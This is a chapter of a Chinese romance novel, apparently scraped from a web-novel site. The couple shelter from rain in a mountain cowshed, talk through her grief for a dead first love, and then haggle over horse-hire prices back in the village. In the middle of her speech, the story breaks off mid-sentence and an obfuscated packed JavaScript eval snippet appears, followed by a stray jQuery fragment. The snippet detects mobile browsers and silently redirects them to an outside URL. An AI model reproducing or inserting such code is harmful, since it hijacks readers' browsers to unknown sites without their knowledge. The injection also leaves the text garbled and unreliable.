*


    尹昭纵马跑了过去。


    她在一间牛棚前下了马，寻了根立木，低头细细拴着马绳。


    沈宥也在相邻位置栓了马。


    他瞥一眼这牛棚，看见宽大的原木走廊里放置着形状规整的垃圾桶，甚至还挂了一块木刻的手绘地图。


    就知道了，这又是她的杰作。


    如同他这一路在草甸与森林里看到各式徒步路标与环保木牌，都是她的杰作。


    “这儿以前是达瓦家的牛棚。他家现在不放牧了。”尹昭向他解释：“我就借来当游客的休息亭用了。”


    “看得出来。”沈宥扫一眼牛棚墙根下明显比各处散落更多的塑料垃圾。


    “这样会好一点。”尹昭把她系在马背上的大垃圾袋取下：“标个目的地，大家会更愿意再坚持下，到这再吃点喝点补充能量，也能减少些路上的垃圾。”


    沈宥低嗯了声，俯身帮她捡起垃圾。


    又记起看过的照片，就问她：“这儿是韩慕柏帮你重修的？”


    “嗯，我们加固了下。这都是冷杉木，达瓦他爸很细致，开了槽捻了缝，但在这山里，谁都逃不过风吹雨打。”


    尹昭爬上木梯，给半满的垃圾桶换上新的袋子：“不过火塘还保留了，牧民们到哪儿都爱生火。我也喜欢。”


    拾掇完垃圾，她拉着他去河边洗手。


    碎钻般亮晶晶的溪水，忽然平缓了也沉静了，是乌云飘过来，是大颗的雨珠落下来。


    山里天气就是这样变幻不定。


    尹昭扯开冲锋衣的帽子，正要偏头同沈宥抱怨一句，却被他伸展开的手臂带进了怀里。


    裹着他气息的外套已经在头顶展开。


    和松柏一样清冽，温暖，遮风挡雨。


    诶，沈侑之。


    快跑吧。我们跑回你的棚子里去。


    嗯好。那也给我一个角吧。


    被淋到了？


    没呢，就是你——


    那就这样。别磨蹭，快到了。


    吁。我们好狼狈啊。


    雨滴哗啦啦，沿着冷杉木檐砸下来。


    浓雾开始从远处的山与林间流淌过来。


    马儿也怕这雨，躲进了棚子里。


    她说着好狼狈，却畅快地笑弯了腰。


    他看向她，手中捏着的软壳外套还在狼狈滴水，却也忍不住抖着肩笑。


    她只有裤脚湿了些，他却像个落汤鸡。


    尹昭在雨声里踮起脚。


    从口袋里掏出条蓝染方巾，擦过他沾着水珠的额头，抹去他发梢半落不落的水滴，又拭过鬓角耳后与下颌。


    纤白手指，停过他唇边。


    沈宥一动不动，前所未有地想吻她。


    他那么想吻她，却只敢说，方巾很好看。


    她就低了头去看那方巾，说是锦亭那晚的民宿老板送她的，还有一条给他的，在家里。


    他说那回去给我，也低头，吻她发丝。


    于是，神山见证，他吻过她了。


    这下没办法不生火啦。


    她似乎没发现，拉着他进了木屋，搁火塘旁一块平滑光亮的石头上坐下，这次从口袋里掏出了火柴。


    刺啦，烧起了火。


    干燥的暖一点点随烟气漫布，驱散湿冷。


    尹昭出去了趟，不知从哪找来根长树枝，想搭在窗框上，又嫌长，就指挥他来折断。


    折好搭好，把他的外套挂了起来，烤火。


    然后她又出去了，再回来时拿了两个三明治和她的保温杯，分他一半，说中午可能回不去了，我们就吃这个吧。


    吃了几口，又眨眼对他讲，可惜我这次没带锅，刚看到牛棚下的苔藓里长出菌子了，可以采几个洗一洗，煮菌子吃。


    他配合她，说野生菌你也敢瞎吃。


    她就笑，说她认识菌子的，又讲麦朵阿嫂说拿花椒炒菌子就没毒了。


    他挑着眉问她，你信吗。


    她托着腮怨他，沈侑之你这人好没意思。


    他就伸了手掐她的脸，公主不好意思，我再没意思，这深山野林你也只能和我说话了。


    她宣布，我不和你说话了，我要睡觉了。


    他试探着向后仰了身，空出膝上，她就枕了过来，闭上眼。


    午后是困，淅淅沥沥的雨声也催眠，沈宥也头倚着木头打起了盹。


    火塘燃起烟，薄薄的，在屋顶下旋转着。


    意识混沌，前尘往事交错。


    沈宥在半梦半醒间，看见无数个她，拘谨的坚韧的愤怒的疲惫的她，也有娇俏的洒脱的自在的她，却乱花迷人眼一般，捕捉不到。


    挣扎着醒来，看到的却是安静枕在他膝上的尹昭，毫不设防，像一只小刺猬露出了柔软的肚皮。


    雨停了。


    微阳穿过木板缝隙，成了光线。


    目光再拨弄交错，就成了无声的琴弦。


    她被琴音惊醒。


    睁开茫茫的眼看他，脸颊压出红痕。


    只是被他取笑了一句，这姑娘就恼羞成怒地走开了。


    他只好去追她。


    她坐在木廊的栏杆上，自在无忌。


    那栏杆上还挂着她写的禁止攀爬的木牌。


    他扬起眉，喉间刚滚过音节。


    她就竖了食指摁在唇上，歪头示意他听。


    什么声音也没有。


    有一点了。


    残留在树冠上的雨水从叶尖滴落的声音。


    风穿过河谷踩着荒草的声音，土壤吸收水分的声音，日光撕扯着薄雾的声音。


    时间慢下来，沈宥听到彻底的安静，也听到有些沙哑的她。


    “春夏季节，这里是牦牛们的牧场，三月里送上山来，都不怎么用管，它们会自己过完一个夏天。”


    “那一年，我和牧白在这放过牦牛，也骑过马。”


    “2013年的夏天，我大学毕业了，第一次有勇气回到这儿。”


    “阿布叔看出我还没有好起来，就安慰我，说死亡是被叫回去。村里老人们都这么说。所以他消失在这片山里，是山神把他叫回去了。他一向很讨山神喜欢，央金也是。”


    “阿布叔还说，走了的人会回来。”


    “会回到最好在的地方。”


    “我那时滇南话不好，听不明白是走的时候回来，还是走了之后也会时不时回来。


    “我不明白，就又来了这。这是我心里最好在的地方。坐到一根倒下的大木头上，听见风吹过野草，窸窸窣窣，真的很像脚步声。”


    “后来，我每年都过来，每年都等他。”


    “周牧白，他对我很重要。”


    “沈侑之，你应该看得出来，我与父母的关系远算不上亲密，对人缺乏信任，朋友也没几个。是牧白，让我的世界看见了色彩。如果不是他，我可能看不见雪山的白，也看不见森林的绿，对一切都毫无兴趣。”


    “他走之后，就更重要了。”


    “我知道自己状态不对，去看了心理医生。那时候在学校，很方便，宁大心理学就有全国最好的专家。”


    “方老师让我别沉溺在回忆里，去找点事做。我很听医嘱，可我除了回到过去，实在没什么想做的事。老师就问我，他呢，他还有什么想实现的愿望吗？”


    “于是我就知道自己该做点什么了。”


    “我回了禾洛村，想看乔朗峰，却先看到了易地搬迁的通知，我坐在这，也没想多久，就决定要把这村子留下来。”


    “所以如果你说，我这七年多，是为了他活着，也没错。”


    她没有回头，只远眺着山谷。


    这山谷忽然变成一座纪念的墓地。


    沈宥走到她身后，有话想说：


    “昭昭——”


    “我知道你想说什么。”


    “我很清楚。这么多年过去，周牧白对于我而言，早已不止是记忆里那个二十三岁的全世界最爱我的男生。”


    “我依赖他，信仰他。我把这世间一切美好都打了包，叫周牧白。或许，他已经寄托了我太多不切实际的幻想。”


    “可是在我心里，周牧白值得。他那么好的一个人，值得所有美好。”


    日光穿云破雾，她在这一刻回头。


    “沈侑之，我不可能忘记他。”


    “也不会停止爱他。”


    沈宥望向她与这山谷，轻轻颔首。


    她在等他的回答。


    而他的回答，其实早就给出了。


    她应该不知道。


    八月盛夏，他还见过她一次，在宁海的墓园。那个人的忌日，她带了百合与雏菊，陪着周家父母去祭奠。


    他本意只是想远远再看她一眼。


    可她走了，他也还没走。那天，他在墓园一直待到快关门，去买了最后一束白菊，放在了那个人的墓前。


    沈宥立于她身侧，双手撑着栏杆，雨后空气宁静又干净，令他也是如此：


    “昭昭，我们一起去看过寻梦环游记，还记得吗？墨西哥人的说法，死亡是多重的，失去生命时，举行葬礼时，还有就是不再被任何人记得的时候。死亡不是永别，忘记才是。”


    “你记着他，他就没离开你。”


    “你打包丢过去的那些所谓的美好，也始终都在。”


    “至于我，可以陪你一起记着他。”


    沈宥的语气淡如寻常，眸色也平和，只是侧过脸，微低下颌，轻轻抵了下她额头。


    他还有半句话没说，但他想她会懂。


    你爱他吧，然后再爱我一点就好。


    余光里，那两匹马儿也亲昵地把头靠在了一起，你看，他们就不用语言来交流。


    他的承诺与谅解，已经献上。


    这是尹昭早已写好的故事线。


    可突然之间，她却还想为自己再解释一两句，或许也不是解释，只是想聊一聊。


    她搞不清楚，因为她已经很久没有这样的冲动了。那一年以后，她很久没和人聊天了。


    “前几天，有人和我说时间会治愈一切。其实不是的。那不是治愈，是遗忘。”


    “我有一段时间，做很多的事情，实习司考发论文打比赛，废寝忘食，足够充实忙碌的生活，挤逼到生活里没有想念和痛苦的间歇，让我看起来活得很正常，甚至积极向上。”


    “忘记他，我就不会痛苦，可是忘记他，我就只剩下惯性了。就像，就像一个自转陀螺，不能停。”


    突如其来的倾诉欲，让尹昭有些失措。


    她从没编排过这段话，微蹙着眉，眼神飘忽不定，语


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16503967|182306||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    速时急时缓，讲一句想一句。


    讲到这，终于卡了壳。


    尹昭微侧了身，求助般地把目光投向在倾听她的那个人。


    沈宥牵起她的手，握在手心里摩挲着：


    “总要有一些疼痛，才能感受到存在。就像刚刚的雨，潮湿让你不适，雨声让你心烦，但你感觉到自己是存在的，对吗？”


    她似怕错过什么一般，忙不迭地点头：


    “所以我得写日记，我怕自己会忘记痛苦，忘记牧白，也忘记自己。”


    沈宥顿时心疼不已，冷峻眉眼换上最温柔的笑，刮了下她鼻尖：


    “可是昭昭，幸福也能做到这一点。如果你一定要，保留一点点痛苦，就够了。”


    尹昭茫茫地看向他，像在问他是吗，是这样的吗，你能够证明这个答案吗。


    也或许，她看的不是他。


    沈宥未再多言，将她从木栏上拦腰抱起：


    “雨停了，我们回家吧。”


    猝不及防的她，可能因为骤失重心被吓到了，下意识搂了他的脖颈。


    但等从惊慌中镇定了，也没松手，很乖。


    沈宥满意地扬起唇角，瞥一眼廊下垃圾袋与廊外两匹呆马，又无奈摇了摇头：


    “带上你的宝藏和朋友们，一起回家吧。”


    他们离开斯浓山谷时，才有零星的背包客翻过哑口，前来拜访这一片秘境。


    大雨留住了他们，也拖住了来客。


    马上马下，打过招呼，大家都是雨后的狼狈，只有马儿不狼狈，依然姿态优雅，眼神温柔，它们才真正属于这里，人类都是过客。


    十年百年，都是过客。


    一路旅行，直到被叫回去的那天。


    *


    他们在村口下马，松了缰绳。


    嗒嗒嗒，朗达和那措就自己往仁钦大叔的家里去了，比慢吞吞溜达的她，快多了。


    沈宥又想起骡子的问题，就问了她。


    尹昭斜他一眼，小声讲，骡子不能生。


    怕他还没听懂，她举了例子，仁钦阿叔自己骑骡子，但不让他的儿子那吉骑骡子，那吉还没结婚。


    沈宥这下懂了，瞧见她又红了的耳垂，就噙起玩味的笑，那看来我能不能骑骡子的决定权，还在你了？


    尹昭又不理他了。


    她不仅不理他，还跑去仁钦阿叔那儿叽里咕噜讲了一堆话，拿手指指他，硬塞了钱给阿叔。


    沈宥听不懂，但瞥一眼，就能猜得到。


    她肯定是在编排他，宣扬他是个人傻钱多的讨厌鬼，能多坑一笔坑一笔。


    果然，刚离了阿叔家的篱笆，


    她转头就朝他摊开手，找他要钱。


    马匹一天六百，向导一天五百，所以一共要一千七。她一点也不心虚地报数。


    沈宥盯着她问：“你从沉棠里搬出去的时候租金付清了吗？”


    尹昭眨眨眼说：“我没付吗？”


    这姑娘可真会骗人。要不是他耿耿于怀记得清楚，就又被她带进沟里去了。


    沈宥沉默着，冷冷把视线压向她。


    她干脆堆出假笑：“我记不清了啦。如果没付，那就正好抵消吧。当我请你好了。”


    沈宥不许她糊弄：“到底马匹什么价？向导什么价？”


    尹昭就垂了眼睫，扫出一小片阴翳：“我也不知道，现在全是乱的。前不久的长假，一开始报价都低，就一百两百，后来客人多了，报价就上去了，还有因为临时加价打起来的。”


    她又叹了气讲：“向导就更乱了，很多根本没向导经验的，都在做这生意。”


    声音越说越低，像在忏悔。


    临近傍晚，煨桑台有村民燃起了桑烟。


    青白烟雾送来松柏枝的香气，浓郁里有一点难琢磨的涩，就有了不染尘俗的味道。


    沈宥今早才第一次见识这风俗，还是尹昭向他介绍的，她说桑烟会托起人间祈愿，让神明听见。


    沈宥扶住她肩膀，为她挽起耳边碎发，温柔笑她：“怎么开个民宿，也开得心思这么重？你为难的这些事，我们早就讨论过，记得吗？别急，还有很多时间，可以慢慢想。”


    他让她慢慢想，她就慢慢想了。


    想到第二日，她晚上来敲了门。


    敲门声响起时，沈宥正在主持电话会。


    休假也没办法把工作彻底拒之门外，好在他是个老板，绝大多数时候，别人会迁就他的日程表。


    咚咚。咚。


    一听就是她的敲门节奏。


    明明有门铃，还在按着旧习惯敲门。


    沈宥看见自己在会议的连线视频里格外明显地愣了一秒，一时不知是该宣布会议暂停，还是该直接宣布会议结束。


    换作以前在沉棠里，除了特别紧急的事项，他都会终止。


    但现在毕竟不在了，他只宣布了暂停。


    推开门，尹昭站在一米之外。


    “沈宥，我明天送客人去客运站，你要和我一起吗？”


    沈宥不懂她为什么希望他陪她。


    但他总是想陪她的。


    所以，他无所谓地耸耸肩：


    “我都行。”


    “顺路去趟乡里？那儿是不是可以取快递？我好像有个快递也到了。”